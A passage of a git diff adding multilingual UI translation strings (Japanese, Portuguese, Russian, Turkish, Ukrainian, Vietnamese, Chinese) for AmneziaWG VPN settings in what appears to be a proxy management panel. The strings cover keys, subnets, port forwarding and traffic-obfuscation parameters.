+ "hHint": "整数または範囲を指定。空欄の場合は従来の1/2/3/4がデフォルトになります。",
+ "i1": "I1(署名パケット)",
+ "i1Hint": "任意の署名パケット。空欄の場合は送信しません。",
+ "i2": "I2(署名パケット)",
+ "i3": "I3(署名パケット)",
+ "i4": "I4(署名パケット)",
+ "i5": "I5(署名パケット)",
+ "headerProtectionKey": "HeaderProtectionKey(ヘッダー保護)",
+ "headerProtectionKeyHint": "Base64の32バイト鍵。全クライアントの設定と一致する必要があります。空欄でヘッダー保護を無効にします。",
+ "contentPaddingAddition": "ContentPaddingAddition(コンテンツパディング)",
+ "contentPaddingAdditionHint": "整数またはlow-highのバイト範囲をコンテンツパケットに追加します。空欄で無効になります。",
+ "rekeyAfterTime": "RekeyAfterTime(秒)",
+ "rekeyTimeout": "RekeyTimeout(秒)",
+ "rejectAfterTime": "RejectAfterTime(秒)",
+ "keepaliveTimeout": "KeepaliveTimeout(秒)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "整数または範囲を指定。空欄の場合はWireGuardのデフォルトを使用します。",
+ "maxHandshakeAttemptsHint": "諦めるまでのハンドシェイク再試行回数。空欄でデフォルトになります。",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "各パケットにランダムなバイトを追加します。両端にAmneziaWG 3.1+が必要です。",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "cookie replyを送信しません。DPIの指紋を消しますが、フラッド緩和は弱まります。"
+ },
"tun": {
"userLevel": "ユーザーレベル"
},
diff --git a/internal/web/translation/pt-BR.json b/internal/web/translation/pt-BR.json
index 0806d3c6a..5c19932b6 100644
--- a/internal/web/translation/pt-BR.json
+++ b/internal/web/translation/pt-BR.json
@@ -232,6 +232,15 @@
"logs": "Logs",
"accessLogs": "Logs de acesso",
"autoUpdate": "Atualização automática",
+ "amneziawgLogs": "Logs do AmneziaWG",
+ "amneziawgHandshake": "Último handshake",
+ "amneziawgInterface": "Interface",
+ "amneziawgInbound": "Entrada",
+ "amneziawgEndpoint": "Endpoint",
+ "amneziawgIdle": "Ocioso",
+ "amneziawgEvents": "Eventos",
+ "amneziawgNoPeers": "Nenhum peer do AmneziaWG está ativo",
+ "amneziawgNoEvents": "Nenhum evento do AmneziaWG registrado ainda",
"config": "Configuração",
"backupTitle": "Backup & Restauração",
"exportDatabase": "Backup",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Chave pré-compartilhada do WireGuard",
"wireguardAllowedIPs": "IPs permitidos do WireGuard",
"wireguardAllowedIPsHint": "Deixe vazio para atribuir automaticamente; separe as entradas com vírgulas",
+ "amneziaWgPrivateKey": "Chave privada do AmneziaWG",
+ "amneziaWgPublicKey": "Chave pública do AmneziaWG",
+ "amneziaWgPreSharedKey": "Chave pré-compartilhada do AmneziaWG",
+ "amneziaWgAllowedIPs": "IPs permitidos do AmneziaWG",
+ "amneziaWgAllowedIPsHint": "Deixe vazio para atribuir automaticamente; separe as entradas com vírgulas",
+ "amneziaWgForwardedPorts": "Portas encaminhadas",
+ "amneziaWgForwardedPortsHint": "Portas/intervalos redirecionados (DNAT) para este cliente, ex. 80, 443, 8000-8100. Deixe vazio se não aplicável.",
+ "amneziaWgConfig": "Configuração do AmneziaWG",
"mtprotoSecret": "Segredo MTProto",
"mtprotoSecretHint": "O segredo FakeTLS do cliente. Gere novamente para trocá-lo.",
"mtprotoAdTag": "Ad-tag (canal patrocinado)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Chave Secreta",
"publicKey": "Chave Pública",
+ "subnetIp": "Sub-rede",
+ "subnetCidr": "CIDR da Sub-rede",
"allowedIPs": "IPs Permitidos",
"endpoint": "Ponto Final",
"domainStrategy": "Estratégia de Domínio"
},
+ "amneziawg": {
+ "privateKey": "Chave Privada",
+ "publicKey": "Chave Pública",
+ "subnetIp": "Sub-rede",
+ "subnetCidr": "CIDR da Sub-rede",
+ "mtu": "MTU",
+ "primaryDns": "DNS Primário",
+ "secondaryDns": "DNS Secundário",
+ "externalInterface": "Interface Externa",
+ "externalInterfaceHint": "Interface de rede do host para NAT (PostUp/PostDown). Deixe vazio para detecção automática.",
+ "ipv6Enabled": "Ativar IPv6",
+ "ipv6Subnet": "Sub-rede IPv6",
+ "ipv6SubnetHint": "ex. fd86:ea04:1115::/64. Obrigatório quando o IPv6 está ativado.",
+ "ipv6ExternalInterface": "Interface externa IPv6",
+ "ipv6ExternalInterfaceHint": "Interface de rede do host para as entradas de proxy NDP. Deixe vazio para reutilizar a interface externa.",
+ "obfuscation": "Parâmetros de ofuscação",
+ "regenerateObfuscation": "Regenerar",
+ "jc": "Jc (quantidade de pacotes de lixo)",
+ "jmin": "Jmin (tamanho mínimo do pacote de lixo)",
+ "jmax": "Jmax (tamanho máximo do pacote de lixo)",
+ "s1": "S1 (preenchimento do pacote init)",
+ "s2": "S2 (preenchimento do pacote response)",
+ "s3": "S3 (preenchimento de cookie reply)",
+ "s4": "S4 (preenchimento do pacote de transporte)",
+ "h1": "H1 (cabeçalho mágico)",
+ "h2": "H2 (cabeçalho mágico)",
+ "h3": "H3 (cabeçalho mágico)",
+ "h4": "H4 (cabeçalho mágico)",
+ "hHint": "Um número inteiro ou um intervalo. Deixe vazio para os valores clássicos 1/2/3/4.",
+ "i1": "I1 (pacote de assinatura)",
+ "i1Hint": "Pacote de assinatura opcional. Deixe vazio para omiti-lo.",
+ "i2": "I2 (pacote de assinatura)",
+ "i3": "I3 (pacote de assinatura)",
+ "i4": "I4 (pacote de assinatura)",
+ "i5": "I5 (pacote de assinatura)",
+ "headerProtectionKey": "HeaderProtectionKey (proteção de cabeçalhos)",
+ "headerProtectionKeyHint": "Chave Base64 de 32 bytes; deve coincidir na configuração de cada cliente. Deixe vazio para desativar a proteção de cabeçalhos.",
+ "contentPaddingAddition": "ContentPaddingAddition (preenchimento de conteúdo)",
+ "contentPaddingAdditionHint": "Um inteiro ou um intervalo de bytes adicionado aos pacotes de conteúdo. Deixe vazio para desativar.",
+ "rekeyAfterTime": "RekeyAfterTime (segundos)",
+ "rekeyTimeout": "RekeyTimeout (segundos)",
+ "rejectAfterTime": "RejectAfterTime (segundos)",
+ "keepaliveTimeout": "KeepaliveTimeout (segundos)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "Um inteiro ou um intervalo. Deixe vazio para manter o padrão do WireGuard.",
+ "maxHandshakeAttemptsHint": "Tentativas de handshake antes de desistir. Deixe vazio para o padrão.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Acrescenta bytes aleatórios a cada pacote. Ambos os lados precisam do AmneziaWG 3.1+.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "Nunca enviar cookie replies — remove uma impressão digital de DPI, mas enfraquece a mitigação de inundações."
+ },
"tun": {
"userLevel": "Nível do Usuário"
},
diff --git a/internal/web/translation/ru-RU.json b/internal/web/translation/ru-RU.json
index 85fd6aee7..d243e0c80 100644
--- a/internal/web/translation/ru-RU.json
+++ b/internal/web/translation/ru-RU.json
@@ -232,6 +232,15 @@
"logs": "Логи",
"accessLogs": "Логи доступа",
"autoUpdate": "Автообновление",
+ "amneziawgLogs": "Логи AmneziaWG",
+ "amneziawgHandshake": "Последнее рукопожатие",
+ "amneziawgInterface": "Интерфейс",
+ "amneziawgInbound": "Входящее",
+ "amneziawgEndpoint": "Точка подключения",
+ "amneziawgIdle": "Простой",
+ "amneziawgEvents": "События",
+ "amneziawgNoPeers": "Нет активных пиров AmneziaWG",
+ "amneziawgNoEvents": "События AmneziaWG пока не зафиксированы",
"config": "Конфигурация",
"backupTitle": "Бэкап и восстановление",
"exportDatabase": "Экспорт базы данных",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Общий ключ WireGuard",
"wireguardAllowedIPs": "Разрешённые IP WireGuard",
"wireguardAllowedIPsHint": "Оставьте пустым для автоназначения; разделяйте записи запятыми",
+ "amneziaWgPrivateKey": "Приватный ключ AmneziaWG",
+ "amneziaWgPublicKey": "Публичный ключ AmneziaWG",
+ "amneziaWgPreSharedKey": "Общий ключ AmneziaWG",
+ "amneziaWgAllowedIPs": "Разрешённые IP AmneziaWG",
+ "amneziaWgAllowedIPsHint": "Оставьте пустым для автоназначения; разделяйте записи запятыми",
+ "amneziaWgForwardedPorts": "Проброс портов",
+ "amneziaWgForwardedPortsHint": "Порты/диапазоны, DNAT'ящиеся на этого клиента, например 80, 443, 8000-8100. Оставьте пустым, если не нужно.",
+ "amneziaWgConfig": "Конфиг AmneziaWG",
"mtprotoSecret": "Секрет MTProto",
"mtprotoSecretHint": "Секрет FakeTLS клиента. Перегенерируйте, чтобы сменить.",
"mtprotoAdTag": "Рекламный тег (спонсорский канал)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Секретный ключ",
"publicKey": "Публичный ключ",
+ "subnetIp": "Подсеть",
+ "subnetCidr": "Маска подсети (CIDR)",
"allowedIPs": "Разрешенные IP-адреса",
"endpoint": "Конечная точка",
"domainStrategy": "Стратегия домена"
},
+ "amneziawg": {
+ "privateKey": "Приватный ключ",
+ "publicKey": "Публичный ключ",
+ "subnetIp": "Подсеть",
+ "subnetCidr": "Маска подсети (CIDR)",
+ "mtu": "MTU",
+ "primaryDns": "Основной DNS",
+ "secondaryDns": "Резервный DNS",
+ "externalInterface": "Внешний интерфейс",
+ "externalInterfaceHint": "Сетевой интерфейс хоста для NAT (PostUp/PostDown). Оставьте пустым для автоопределения.",
+ "ipv6Enabled": "Включить IPv6",
+ "ipv6Subnet": "Подсеть IPv6",
+ "ipv6SubnetHint": "Например, fd86:ea04:1115::/64. Обязательно при включённом IPv6.",
+ "ipv6ExternalInterface": "Внешний интерфейс для IPv6",
+ "ipv6ExternalInterfaceHint": "Сетевой интерфейс хоста, на который алиасится IPv6-адрес каждого клиента. Оставьте пустым, чтобы использовать «Внешний интерфейс».",
+ "obfuscation": "Параметры обфускации",
+ "regenerateObfuscation": "Сгенерировать заново",
+ "jc": "Jc (кол-во мусорных пакетов)",
+ "jmin": "Jmin (мин. размер мусорного пакета)",
+ "jmax": "Jmax (макс. размер мусорного пакета)",
+ "s1": "S1 (мусор init-пакета)",
+ "s2": "S2 (мусор response-пакета)",
+ "s3": "S3 (паддинг cookie reply)",
+ "s4": "S4 (паддинг transport-пакета)",
+ "h1": "H1 (магический заголовок)",
+ "h2": "H2 (магический заголовок)",
+ "h3": "H3 (магический заголовок)",
+ "h4": "H4 (магический заголовок)",
+ "hHint": "Целое число или диапазон low-high. Оставьте пустым для классических значений 1/2/3/4.",
+ "i1": "I1 (сигнатурный пакет)",
+ "i1Hint": "Необязательный сигнатурный пакет. Оставьте пустым, чтобы не отправлять.",
+ "i2": "I2 (сигнатурный пакет)",
+ "i3": "I3 (сигнатурный пакет)",
+ "i4": "I4 (сигнатурный пакет)",
+ "i5": "I5 (сигнатурный пакет)",
+ "headerProtectionKey": "HeaderProtectionKey (защита заголовков)",
+ "headerProtectionKeyHint": "Ключ Base64 длиной 32 байта; должен совпадать в конфигурации каждого клиента. Оставьте пустым, чтобы отключить защиту заголовков.",
+ "contentPaddingAddition": "ContentPaddingAddition (паддинг содержимого)",
+ "contentPaddingAdditionHint": "Целое число или диапазон байт, добавляемых к пакетам с данными. Оставьте пустым, чтобы отключить.",
+ "rekeyAfterTime": "RekeyAfterTime (секунды)",
+ "rekeyTimeout": "RekeyTimeout (секунды)",
+ "rejectAfterTime": "RejectAfterTime (секунды)",
+ "keepaliveTimeout": "KeepaliveTimeout (секунды)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "Целое число или диапазон low-high. Оставьте пустым для значения WireGuard по умолчанию.",
+ "maxHandshakeAttemptsHint": "Число повторов рукопожатия до отказа. Оставьте пустым для значения по умолчанию.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Добавляет случайные байты в конец каждого пакета. Обе стороны должны поддерживать AmneziaWG 3.1+.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "Не отправлять cookie reply — убирает сигнатуру для DPI, но ослабляет защиту от флуда."
+ },
"tun": {
"userLevel": "Уровень пользователя"
},
diff --git a/internal/web/translation/tr-TR.json b/internal/web/translation/tr-TR.json
index 0d51d8f73..8aac372e2 100644
--- a/internal/web/translation/tr-TR.json
+++ b/internal/web/translation/tr-TR.json
@@ -232,6 +232,15 @@
"logs": "Günlükler",
"accessLogs": "Erişim Günlükleri",
"autoUpdate": "Otomatik Güncelleme",
+ "amneziawgLogs": "AmneziaWG Günlükleri",
+ "amneziawgHandshake": "Son El Sıkışma",
+ "amneziawgInterface": "Arayüz",
+ "amneziawgInbound": "Gelen",
+ "amneziawgEndpoint": "Uç Nokta",
+ "amneziawgIdle": "Boşta",
+ "amneziawgEvents": "Olaylar",
+ "amneziawgNoPeers": "Şu anda etkin AmneziaWG eşi yok",
+ "amneziawgNoEvents": "Henüz AmneziaWG olayı kaydedilmedi",
"config": "Yapılandırma",
"backupTitle": "Yedekleme ve Geri Yükleme",
"exportDatabase": "Yedekle",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard Ön Paylaşımlı Anahtar",
"wireguardAllowedIPs": "WireGuard İzin Verilen IP'ler",
"wireguardAllowedIPsHint": "Otomatik atama için boş bırakın; girişleri virgülle ayırın",
+ "amneziaWgPrivateKey": "AmneziaWG Özel Anahtarı",
+ "amneziaWgPublicKey": "AmneziaWG Genel Anahtarı",
+ "amneziaWgPreSharedKey": "AmneziaWG Ön Paylaşımlı Anahtar",
+ "amneziaWgAllowedIPs": "AmneziaWG İzin Verilen IP'ler",
+ "amneziaWgAllowedIPsHint": "Otomatik atama için boş bırakın; girişleri virgülle ayırın",
+ "amneziaWgForwardedPorts": "Yönlendirilen Portlar",
+ "amneziaWgForwardedPortsHint": "Bu istemciye DNAT ile yönlendirilen port/aralıklar, örn. 80, 443, 8000-8100. Yoksa boş bırakın.",
+ "amneziaWgConfig": "AmneziaWG Yapılandırması",
"mtprotoSecret": "MTProto sırrı",
"mtprotoSecretHint": "İstemcinin FakeTLS sırrı. Değiştirmek için yeniden oluşturun.",
"mtprotoAdTag": "Reklam etiketi (sponsorlu kanal)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Gizli Anahtar",
"publicKey": "Genel Anahtar",
+ "subnetIp": "Alt Ağ",
+ "subnetCidr": "Alt Ağ CIDR",
"allowedIPs": "İzin Verilen IP'ler",
"endpoint": "Uç Nokta",
"domainStrategy": "Alan Adı Stratejisi"
},
+ "amneziawg": {
+ "privateKey": "Özel Anahtar",
+ "publicKey": "Genel Anahtar",
+ "subnetIp": "Alt Ağ",
+ "subnetCidr": "Alt Ağ CIDR",
+ "mtu": "MTU",
+ "primaryDns": "Birincil DNS",
+ "secondaryDns": "İkincil DNS",
+ "externalInterface": "Harici Arayüz",
+ "externalInterfaceHint": "NAT (PostUp/PostDown) için sunucu ağ arayüzü. Otomatik algılama için boş bırakın.",
+ "ipv6Enabled": "IPv6'yı Etkinleştir",
+ "ipv6Subnet": "IPv6 Alt Ağı",
+ "ipv6SubnetHint": "örn. fd86:ea04:1115::/64. IPv6 etkinken zorunludur.",
+ "ipv6ExternalInterface": "IPv6 Harici Arayüzü",
+ "ipv6ExternalInterfaceHint": "NDP proxy girişleri için sunucu ağ arayüzü. Harici Arayüzü kullanmak için boş bırakın.",
+ "obfuscation": "Gizleme parametreleri",
+ "regenerateObfuscation": "Yeniden oluştur",
+ "jc": "Jc (gereksiz paket sayısı)",
+ "jmin": "Jmin (min gereksiz paket boyutu)",
+ "jmax": "Jmax (maks gereksiz paket boyutu)",
+ "s1": "S1 (init paketi dolgu boyutu)",
+ "s2": "S2 (response paketi dolgu boyutu)",
+ "s3": "S3 (cookie reply dolgusu)",
+ "s4": "S4 (transport paketi dolgusu)",
+ "h1": "H1 (sihirli başlık)",
+ "h2": "H2 (sihirli başlık)",
+ "h3": "H3 (sihirli başlık)",
+ "h4": "H4 (sihirli başlık)",
+ "hHint": "Tek bir tam sayı veya bir aralık. Klasik 1/2/3/4 varsayılanları için boş bırakın.",
+ "i1": "I1 (imza paketi)",
+ "i1Hint": "İsteğe bağlı imza paketi. Göndermemek için boş bırakın.",
+ "i2": "I2 (imza paketi)",
+ "i3": "I3 (imza paketi)",
+ "i4": "I4 (imza paketi)",
+ "i5": "I5 (imza paketi)",
+ "headerProtectionKey": "HeaderProtectionKey (başlık koruması)",
+ "headerProtectionKeyHint": "32 baytlık Base64 anahtar; her istemcinin yapılandırmasıyla eşleşmelidir. Başlık korumasını devre dışı bırakmak için boş bırakın.",
+ "contentPaddingAddition": "ContentPaddingAddition (içerik dolgusu)",
+ "contentPaddingAdditionHint": "İçerik paketlerine eklenen tek bir tam sayı veya bayt aralığı. Devre dışı bırakmak için boş bırakın.",
+ "rekeyAfterTime": "RekeyAfterTime (saniye)",
+ "rekeyTimeout": "RekeyTimeout (saniye)",
+ "rejectAfterTime": "RejectAfterTime (saniye)",
+ "keepaliveTimeout": "KeepaliveTimeout (saniye)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "Tek bir tam sayı veya bir aralık. WireGuard varsayılanı için boş bırakın.",
+ "maxHandshakeAttemptsHint": "Vazgeçmeden önceki el sıkışma denemesi sayısı. Varsayılan için boş bırakın.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Her paketin sonuna rastgele baytlar ekler. Her iki uç da AmneziaWG 3.1+ gerektirir.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "Cookie reply asla gönderilmez — bir DPI parmak izini kaldırır ancak taşma korumasını zayıflatır."
+ },
"tun": {
"userLevel": "Kullanıcı Seviyesi"
},
diff --git a/internal/web/translation/uk-UA.json b/internal/web/translation/uk-UA.json
index f83f37de4..b896d3fe6 100644
--- a/internal/web/translation/uk-UA.json
+++ b/internal/web/translation/uk-UA.json
@@ -232,6 +232,15 @@
"logs": "Логи",
"accessLogs": "Логи доступу",
"autoUpdate": "Автооновлення",
+ "amneziawgLogs": "Логи AmneziaWG",
+ "amneziawgHandshake": "Останнє рукостискання",
+ "amneziawgInterface": "Інтерфейс",
+ "amneziawgInbound": "Вхідне",
+ "amneziawgEndpoint": "Точка підключення",
+ "amneziawgIdle": "Очікування",
+ "amneziawgEvents": "Події",
+ "amneziawgNoPeers": "Немає активних пірів AmneziaWG",
+ "amneziawgNoEvents": "Подій AmneziaWG ще не зафіксовано",
"config": "Конфігурація",
"backupTitle": "Резервне копіювання та відновлення",
"exportDatabase": "Резервна копія",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Спільний ключ WireGuard",
"wireguardAllowedIPs": "Дозволені IP WireGuard",
"wireguardAllowedIPsHint": "Залиште порожнім для автопризначення; розділяйте записи комами",
+ "amneziaWgPrivateKey": "Приватний ключ AmneziaWG",
+ "amneziaWgPublicKey": "Публічний ключ AmneziaWG",
+ "amneziaWgPreSharedKey": "Спільний ключ AmneziaWG",
+ "amneziaWgAllowedIPs": "Дозволені IP AmneziaWG",
+ "amneziaWgAllowedIPsHint": "Залиште порожнім для автопризначення; розділяйте записи комами",
+ "amneziaWgForwardedPorts": "Перенаправлені порти",
+ "amneziaWgForwardedPortsHint": "Порти/діапазони, що перенаправляються (DNAT) на цього клієнта, напр. 80, 443, 8000-8100. Залиште порожнім, якщо не потрібно.",
+ "amneziaWgConfig": "Конфігурація AmneziaWG",
"mtprotoSecret": "Секрет MTProto",
"mtprotoSecretHint": "Секрет FakeTLS клієнта. Згенеруйте заново, щоб змінити.",
"mtprotoAdTag": "Рекламний тег (спонсорський канал)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Приватний ключ",
"publicKey": "Публічний ключ",
+ "subnetIp": "Підмережа",
+ "subnetCidr": "CIDR підмережі",
"allowedIPs": "Дозволені IP-адреси",
"endpoint": "Кінцева точка",
"domainStrategy": "Стратегія домену"
},
+ "amneziawg": {
+ "privateKey": "Приватний ключ",
+ "publicKey": "Публічний ключ",
+ "subnetIp": "Підмережа",
+ "subnetCidr": "CIDR підмережі",
+ "mtu": "MTU",
+ "primaryDns": "Основний DNS",
+ "secondaryDns": "Резервний DNS",
+ "externalInterface": "Зовнішній інтерфейс",
+ "externalInterfaceHint": "Мережевий інтерфейс хоста для NAT (PostUp/PostDown). Залиште порожнім для автовизначення.",
+ "ipv6Enabled": "Увімкнути IPv6",
+ "ipv6Subnet": "Підмережа IPv6",
+ "ipv6SubnetHint": "напр. fd86:ea04:1115::/64. Обов'язково, якщо IPv6 увімкнено.",
+ "ipv6ExternalInterface": "Зовнішній інтерфейс IPv6",
+ "ipv6ExternalInterfaceHint": "Мережевий інтерфейс хоста для записів NDP-проксі. Залиште порожнім, щоб використовувати Зовнішній інтерфейс.",
+ "obfuscation": "Параметри обфускації",
+ "regenerateObfuscation": "Згенерувати заново",
+ "jc": "Jc (кількість сміттєвих пакетів)",
+ "jmin": "Jmin (мін. розмір сміттєвого пакета)",
+ "jmax": "Jmax (макс. розмір сміттєвого пакета)",
+ "s1": "S1 (заповнення пакета init)",
+ "s2": "S2 (заповнення пакета response)",
+ "s3": "S3 (заповнення cookie reply)",
+ "s4": "S4 (заповнення транспортного пакета)",
+ "h1": "H1 (магічний заголовок)",
+ "h2": "H2 (магічний заголовок)",
+ "h3": "H3 (магічний заголовок)",
+ "h4": "H4 (магічний заголовок)",
+ "hHint": "Ціле число або діапазон. Залиште порожнім для класичних значень 1/2/3/4.",
+ "i1": "I1 (пакет підпису)",
+ "i1Hint": "Необов'язковий пакет підпису. Залиште порожнім, щоб не надсилати.",
+ "i2": "I2 (пакет підпису)",
+ "i3": "I3 (пакет підпису)",
+ "i4": "I4 (пакет підпису)",
+ "i5": "I5 (пакет підпису)",
+ "headerProtectionKey": "HeaderProtectionKey (захист заголовків)",
+ "headerProtectionKeyHint": "Ключ Base64 довжиною 32 байти; має збігатися в конфігурації кожного клієнта. Залиште порожнім, щоб вимкнути захист заголовків.",
+ "contentPaddingAddition": "ContentPaddingAddition (заповнення вмісту)",
+ "contentPaddingAdditionHint": "Ціле число або діапазон байтів, що додаються до пакетів із даними. Залиште порожнім, щоб вимкнути.",
+ "rekeyAfterTime": "RekeyAfterTime (секунди)",
+ "rekeyTimeout": "RekeyTimeout (секунди)",
+ "rejectAfterTime": "RejectAfterTime (секунди)",
+ "keepaliveTimeout": "KeepaliveTimeout (секунди)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "Ціле число або діапазон. Залиште порожнім для типового значення WireGuard.",
+ "maxHandshakeAttemptsHint": "Кількість повторних спроб рукостискання. Залиште порожнім для типового значення.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Додає випадкові байти в кінець кожного пакета. Обидві сторони мають підтримувати AmneziaWG 3.1+.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "Ніколи не надсилати cookie reply — прибирає відбиток для DPI, але послаблює захист від флуду."
+ },
"tun": {
"userLevel": "Рівень користувача"
},
diff --git a/internal/web/translation/vi-VN.json b/internal/web/translation/vi-VN.json
index 327af0cd1..8d0d93c53 100644
--- a/internal/web/translation/vi-VN.json
+++ b/internal/web/translation/vi-VN.json
@@ -232,6 +232,15 @@
"logs": "Nhật ký",
"accessLogs": "Nhật ký truy cập",
"autoUpdate": "Tự động cập nhật",
+ "amneziawgLogs": "Nhật ký AmneziaWG",
+ "amneziawgHandshake": "Bắt tay gần nhất",
+ "amneziawgInterface": "Giao diện mạng",
+ "amneziawgInbound": "Inbound",
+ "amneziawgEndpoint": "Điểm cuối",
+ "amneziawgIdle": "Nhàn rỗi",
+ "amneziawgEvents": "Sự kiện",
+ "amneziawgNoPeers": "Hiện không có peer AmneziaWG nào hoạt động",
+ "amneziawgNoEvents": "Chưa ghi nhận sự kiện AmneziaWG nào",
"config": "Cấu hình",
"backupTitle": "Sao lưu & Khôi phục",
"exportDatabase": "Sao lưu",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Khóa chia sẻ trước WireGuard",
"wireguardAllowedIPs": "IP được phép WireGuard",
"wireguardAllowedIPsHint": "Để trống để tự động gán; phân tách các mục bằng dấu phẩy",
+ "amneziaWgPrivateKey": "Khóa riêng AmneziaWG",
+ "amneziaWgPublicKey": "Khóa công khai AmneziaWG",
+ "amneziaWgPreSharedKey": "Khóa chia sẻ trước AmneziaWG",
+ "amneziaWgAllowedIPs": "IP được phép AmneziaWG",
+ "amneziaWgAllowedIPsHint": "Để trống để tự động gán; phân tách các mục bằng dấu phẩy",
+ "amneziaWgForwardedPorts": "Cổng chuyển tiếp",
+ "amneziaWgForwardedPortsHint": "Cổng/dải cổng được chuyển tiếp (DNAT) đến client này, vd. 80, 443, 8000-8100. Để trống nếu không cần.",
+ "amneziaWgConfig": "Cấu hình AmneziaWG",
"mtprotoSecret": "Secret MTProto",
"mtprotoSecretHint": "Secret FakeTLS của client. Tạo lại để thay đổi.",
"mtprotoAdTag": "Ad-tag (kênh tài trợ)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Khoá bí mật",
"publicKey": "Khóa công khai",
+ "subnetIp": "Mạng con",
+ "subnetCidr": "CIDR mạng con",
"allowedIPs": "IP được phép",
"endpoint": "Điểm cuối",
"domainStrategy": "Chiến lược tên miền"
},
+ "amneziawg": {
+ "privateKey": "Khóa riêng",
+ "publicKey": "Khóa công khai",
+ "subnetIp": "Mạng con",
+ "subnetCidr": "CIDR mạng con",
+ "mtu": "MTU",
+ "primaryDns": "DNS chính",
+ "secondaryDns": "DNS phụ",
+ "externalInterface": "Giao diện ngoài",
+ "externalInterfaceHint": "Card mạng của host dùng cho NAT (PostUp/PostDown). Để trống để tự động phát hiện.",
+ "ipv6Enabled": "Bật IPv6",
+ "ipv6Subnet": "Subnet IPv6",
+ "ipv6SubnetHint": "vd. fd86:ea04:1115::/64. Bắt buộc khi bật IPv6.",
+ "ipv6ExternalInterface": "Card mạng ngoài IPv6",
+ "ipv6ExternalInterfaceHint": "Card mạng của host dùng cho các mục NDP proxy. Để trống để dùng lại Card mạng ngoài.",
+ "obfuscation": "Tham số làm rối (obfuscation)",
+ "regenerateObfuscation": "Tạo lại",
+ "jc": "Jc (số lượng gói rác)",
+ "jmin": "Jmin (kích thước tối thiểu gói rác)",
+ "jmax": "Jmax (kích thước tối đa gói rác)",
+ "s1": "S1 (đệm gói init)",
+ "s2": "S2 (đệm gói response)",
+ "s3": "S3 (đệm cookie reply)",
+ "s4": "S4 (đệm gói transport)",
+ "h1": "H1 (tiêu đề ma thuật)",
+ "h2": "H2 (tiêu đề ma thuật)",
+ "h3": "H3 (tiêu đề ma thuật)",
+ "h4": "H4 (tiêu đề ma thuật)",
+ "hHint": "Một số nguyên hoặc một khoảng. Để trống để dùng giá trị mặc định cổ điển 1/2/3/4.",
+ "i1": "I1 (gói chữ ký)",
+ "i1Hint": "Gói chữ ký tùy chọn. Để trống để bỏ qua.",
+ "i2": "I2 (gói chữ ký)",
+ "i3": "I3 (gói chữ ký)",
+ "i4": "I4 (gói chữ ký)",
+ "i5": "I5 (gói chữ ký)",
+ "headerProtectionKey": "HeaderProtectionKey (bảo vệ header)",
+ "headerProtectionKeyHint": "Khóa Base64 dài 32 byte; phải trùng khớp trong cấu hình của mọi client. Để trống để tắt bảo vệ header.",
+ "contentPaddingAddition": "ContentPaddingAddition (đệm nội dung)",
+ "contentPaddingAdditionHint": "Một số nguyên hoặc khoảng byte được thêm vào các gói nội dung. Để trống để tắt.",
+ "rekeyAfterTime": "RekeyAfterTime (giây)",
+ "rekeyTimeout": "RekeyTimeout (giây)",
+ "rejectAfterTime": "RejectAfterTime (giây)",
+ "keepaliveTimeout": "KeepaliveTimeout (giây)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "Một số nguyên hoặc một khoảng. Để trống để dùng giá trị mặc định của WireGuard.",
+ "maxHandshakeAttemptsHint": "Số lần thử lại bắt tay trước khi bỏ cuộc. Để trống để dùng giá trị mặc định.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Thêm các byte ngẫu nhiên vào cuối mỗi gói. Cả hai đầu cần AmneziaWG 3.1+.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "Không bao giờ gửi cookie reply — xóa một dấu vết DPI nhưng làm yếu khả năng chống flood."
+ },
"tun": {
"userLevel": "Mức Người Dùng"
},
diff --git a/internal/web/translation/zh-CN.json b/internal/web/translation/zh-CN.json
index e7f920c2a..838c30f7c 100644
--- a/internal/web/translation/zh-CN.json
+++ b/internal/web/translation/zh-CN.json
@@ -232,6 +232,15 @@
"logs": "日志",
"accessLogs": "访问日志",
"autoUpdate": "自动更新",
+ "amneziawgLogs": "AmneziaWG 日志",
+ "amneziawgHandshake": "最后握手",
+ "amneziawgInterface": "网络接口",
+ "amneziawgInbound": "入站",
+ "amneziawgEndpoint": "端点",
+ "amneziawgIdle": "空闲",
+ "amneziawgEvents": "事件",
+ "amneziawgNoPeers": "当前没有活动的 AmneziaWG 对端",
+ "amneziawgNoEvents": "尚未记录 AmneziaWG 事件",
"config": "配置",
"backupTitle": "备份和恢复",
"exportDatabase": "备份",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard 预共享密钥",
"wireguardAllowedIPs": "WireGuard 允许的 IP",
"wireguardAllowedIPsHint": "留空则自动分配;多个条目用逗号分隔",
+ "amneziaWgPrivateKey": "AmneziaWG 私钥",
+ "amneziaWgPublicKey": "AmneziaWG 公钥",
+ "amneziaWgPreSharedKey": "AmneziaWG 预共享密钥",
